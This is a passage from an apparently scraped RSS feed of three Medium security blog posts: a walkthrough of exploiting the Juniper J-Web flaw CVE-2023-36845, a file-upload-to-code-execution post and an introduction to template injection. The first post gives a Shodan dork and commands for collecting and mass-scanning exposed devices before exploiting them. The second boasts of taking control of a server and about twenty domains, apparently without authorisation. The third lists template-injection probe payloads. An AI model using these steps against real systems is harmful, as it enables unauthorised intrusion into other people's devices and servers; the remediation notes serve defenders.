            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vxn9k5vytzTSnPAH.jpg" /></figure><h3>Description</h3><p>السلام عليكم ورحمة الله وبركاته</p><p>A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; * 22.4 versions prior to 22.4R2-S1, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.</p><h4><a href="https://www.tenable.com/cve/CVE-2023-36845">Severity</a> : <a href="https://www.tenable.com/cve/CVE-2023-36845">CRITICAL</a></h4><p><strong>Base Score: </strong>9.8</p><p><strong>Published: </strong>2023–08–17</p><h3>Proof Of Concept :</h3><blockquote><em>Note :Educational Purposes</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*7vOVuZ6IAPa2as9Y.gif" /></figure><p>Step 1: By using dork shodan for information gathering : title:”Juniper Web Device Manager” , http.favicon.hash:2141724739</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FysO2BkqFrYAN1RJBHIrGA.png" /></figure><p>Step 2 : if you have account premium in shodan you can download IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdebphdM2iwjCUFDRLND0Q.png" /></figure><p>Step 3 : use this command in terminal but after install shodan on linux : shodan parse junioer.json — fields ip_str,port — separator “ “ | awk ‘{print $1”:”$2}’ | tee -a juniperIPS.txt</p><p>Step 4 : using nuclei for scan all IPs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2Ygb_7BvpFz_OdfBSZd5Q.png" /></figure><p>Step 5 : You can search in google how can exploit CVE-2023–36845 you can see more methods for exploit it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SqZlM8Pw44C6bntHuWl1yg.png" /></figure><p>Step 6 : Now we are trying to exploit the vulnerability on an infected target using burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcQkZb2HmQo6_0Jhk5DTaw.png" /></figure><p>Step 7 : Here the exploitation was done manually</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cfWCfNbKrgsklsq1nIPDhg.png" /></figure><p>Step 8 : Here we encode code php to base64 and added in request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiU7js4taV-4H5suG_x1Jw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIyBGHBnF0xBxgW-RY6XAg.png" /></figure><p>Step 9 : We are trying to implement some commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mef19Qv-r9H_Vyjh-mAi2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ztP3cOaUJIgkIoRHJ1s6Eg.png" /></figure><h3>Solution</h3><p>The following software releases have been updated to prevent the code execution (CVE-2023–36845): 20.4R3-S9*, 21.2R3-S7*, 21.3R3-S5, 21.4R3-S5*, 22.1R3-S4*, 22.2R3-S2, 22.3R2-S2, 22.3R3-S1, 22.4R2-S1, 22.4R3*, 23.2R1-S1, 23.2R2*, 23.4R1*, and all subsequent releases.<br>*Pending Publication</p><p>Software updates for the remaining vulnerabilities are coming. However, once the ability to execute code is prevented with the aforementioned releases, the impact of these remaining issues is significantly reduced.</p><p>These issues are being tracked as <a href="https://prsearch.juniper.net/problemreport/PR1735387">1735387</a>, <a href="https://prsearch.juniper.net/problemreport/PR1735389">1735389</a>, <a href="https://prsearch.juniper.net/problemreport/PR1736942">1736942</a>, <a href="https://prsearch.juniper.net/problemreport/PR1736937">1736937</a>. and <a href="https://prsearch.juniper.net/problemreport/PR1758332">1758332</a>.</p><p>Note: Juniper SIRT’s <a href="https://supportportal.juniper.net/s/article/In-which-releases-are-vulnerabilities-fixed">policy</a> is not to evaluate releases which are beyond End of Engineering (EOE) or End of Life (EOL).</p><p>Resources:</p><ul><li><a href="https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=en_US">CEC Juniper Community</a></li><li><a href="https://www.tenable.com/cve/CVE-2023-36845">CVE-2023-36845</a></li></ul><p><a href="https://vulncheck.com/blog/juniper-cve-2023-36845">https://vulncheck.com/blog/juniper-cve-2023-36845</a></p><blockquote><em>لاتدع للفراغ فراغ بل اشغل الفراغ بما يشغل الفراغ عن الفراغ .</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11c6366f8834" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Upload Image to RCE — By CTRL]]></title>
            <link>https://medium.com/@CTRL2030/upload-image-to-rce-by-ctrl-6f4a7ec8c083?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f4a7ec8c083</guid>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Wed, 02 Aug 2023 15:02:17 GMT</pubDate>
            <atom:updated>2023-08-02T15:02:17.101Z</atom:updated>
            <content:encoded><![CDATA[<h3>Upload Image to RCE — By CTRL</h3><p>السلام عليكم ورحمة الله وبركاته</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*sr22-unVhwhmaTckvQZoWw.jpeg" /><figcaption>Scenario</figcaption></figure><h3>Remote Code Execution</h3><p><strong>Remote code execution</strong> (<strong>RCE</strong>) refers to the ability of a cyber attacker to access and make changes to a computer owned by another, without authority and regardless of where the computer is geographically located. <strong>RCE</strong> allows an attacker to take over a computer or a server by running arbitrary malicious software (malware).</p><h4>Proof of Concept</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*3S98x5REJluivfyc.gif" /></figure><p>Step 1: you Can see I can upload image for my profile by extension .jpg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKBMLQFXv99HdaIzHsoPGg.png" /><figcaption>upload image</figcaption></figure><p>Step 2 :Step 2 :By using burp suite intercept request and upload index php extension jpg and intercept request and change extension to .php .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHT0iqKWTPRCVP6CWx5iLQ.png" /></figure><p>Step 3: Now I have full control of the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_MCHkDW4zdvtvc0IYsNJvg.png" /></figure><blockquote><em>mood</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*ipnJAPaf1ZBbqGR-.gif" /></figure><p>Step 4 :About twenty domains under my control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*219bFjNoA2PX9KDxrgv1SQ.png" /></figure><blockquote><em>Mood</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*QDE_9N21o9uUVRzD.gif" /></figure><h3>Impact</h3><p>RCE vulnerabilities can have severe impacts on a system or application, including:</p><ul><li><strong>Penetration — </strong>attackers can use RCE vulnerabilities as their first entry into a network or environment.</li><li><strong>Privilege escalation — </strong>in many cases, servers have internal vulnerabilities which can only be seen by those with inside access. RCE allows an attacker to discover and exploit these vulnerabilities, escalating privileges and gaining access to connected systems.</li><li><strong>Sensitive data exposure</strong> — RCE can be used to exfiltrate data from vulnerable systems by installing data-stealing malware or directly executing commands. This can range from simple copying of unencrypted data to memory-scraping malware that looks for credentials in system memory.</li><li><strong>Denial of Service (DoS) — </strong>an RCE vulnerability allows attackers to execute code on a system. This code can be used to exhaust system resources and crash the system, or to leverage the system’s resources to conduct DoS against third parties.</li><li><strong>Cryptomining — </strong>a common next step after exploiting RCE is to run cryptomining or cryptojacking malware that uses the computing resources of an infected device to mine cryptocurrencies, to the financial benefit of the attacker.</li><li><strong>Ransomware — </strong>possibly the most dangerous consequence of RCE is that attackers can deploy ransomware on the affected application or server, and spread ransomware through the network, denying users access to their files until they pay a ransom.</li></ul><h3>Recommendations</h3><p>you can see in list URL some Recommendations:</p><ol><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html</a></li><li><a href="https://www.acunetix.com/vulnerabilities/web/unrestricted-file-upload/">https://www.acunetix.com/vulnerabilities/web/unrestricted-file-upload/</a></li><li><a href="https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/unrestricted-file-upload/">https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/unrestricted-file-upload/</a></li><li><a href="https://knowledge-base.secureflag.com/vulnerabilities/unrestricted_file_upload/unrestricted_file_upload_vulnerability.html">https://knowledge-base.secureflag.com/vulnerabilities/unrestricted_file_upload/unrestricted_file_upload_vulnerability.html</a></li><li><a href="https://thesecmaster.com/what-is-arbitrary-file-upload-vulnerability-how-to-protect-form-it/">https://thesecmaster.com/what-is-arbitrary-file-upload-vulnerability-how-to-protect-form-it/</a></li></ol><h3>Note: <em>Educational explanation</em></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f4a7ec8c083" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server Side Template Injection (SSTI) -By CTRL]]></title>
            <link>https://medium.com/@CTRL2030/server-side-template-injection-ssti-by-ctrl-6d6a59a9fedb?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d6a59a9fedb</guid>
            <category><![CDATA[ssti]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Mon, 24 Jul 2023 16:45:30 GMT</pubDate>
            <atom:updated>2023-07-24T16:45:30.016Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FbPoclMTsNHJ3Jq4GLgNkg.png" /><figcaption>SSTI</figcaption></figure><p>السلام عليكم ورحمة الله وبركاته</p><h3><strong>What is SSTI?</strong></h3><p>Server-side template injection is a vulnerability where the attacker <a href="https://cobalt.io/vulnerability-wiki/v10-malicious">injects malicious input</a> into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).</p><p>Template engines are designed to combine templates with a data model to produce result documents which helps populating dynamic data into web pages. Template engines can be used to display information about users, products etc. Some of the most popular template engines can be listed as the followings:</p><ul><li>PHP–Smarty,Twigs</li><li>JAVA–Velocity,Freemaker</li><li>Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage</li><li>Ruby-Liquid</li></ul><h3>How Does It Work?</h3><p>I will explain on a real example of a vulnerability SSTI</p><p><strong>Proof of Concept :</strong></p><p>Step 1: A simple example to prove a vulnerability SSTI use payload : {{20*20}} and {{9000000000000+1}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*hdMZq9pjfjXBvdqp8W2SNg.png" /></figure><p>Step 2: Can see results SSTI payloads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*0NfLNUgLwIboObuS31eznQ.png" /><figcaption>POC</figcaption></figure><h3>What’s the Impact of SSTI?</h3><p>The impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server. There are also rare cases where an SSTI vulnerability is not critical, depending on the template engine.</p><h3>Remediation</h3><p>Remediations for the <a href="https://cobalt.io/vulnerability-wiki/v5-validation-sanitization/ssti">SSTI vulnerability</a> depend on the different template engines in use. There are 2 common suggestions to remediate this vulnerability:</p><ul><li>Sanitization: Sanitize user input before passing it into the templates to minimize vulnerabilities from any malicious.</li><li>Sandboxing: In case using risky characters is a business need, it is recommended to use a sandbox within a safe environment.</li></ul><p><strong>Resources</strong> :</p><ul><li><a href="https://portswigger.net/web-security/server-side-template-injection">Server-side template injection</a></li><li><a href="https://medium.com/@bdemir/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68">A Pentester’s Guide to Server Side Template Injection (SSTI)</a></li><li><a href="https://www.imperva.com/learn/application-security/server-side-template-injection-ssti/">What SSTI | Server-Side Template Injection Attacks | Imperva</a></li><li><a href="https://hackerone.com/reports/1104349">Glovo disclosed on HackerOne: Server Side Template Injection on...</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d6a59a9fedb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>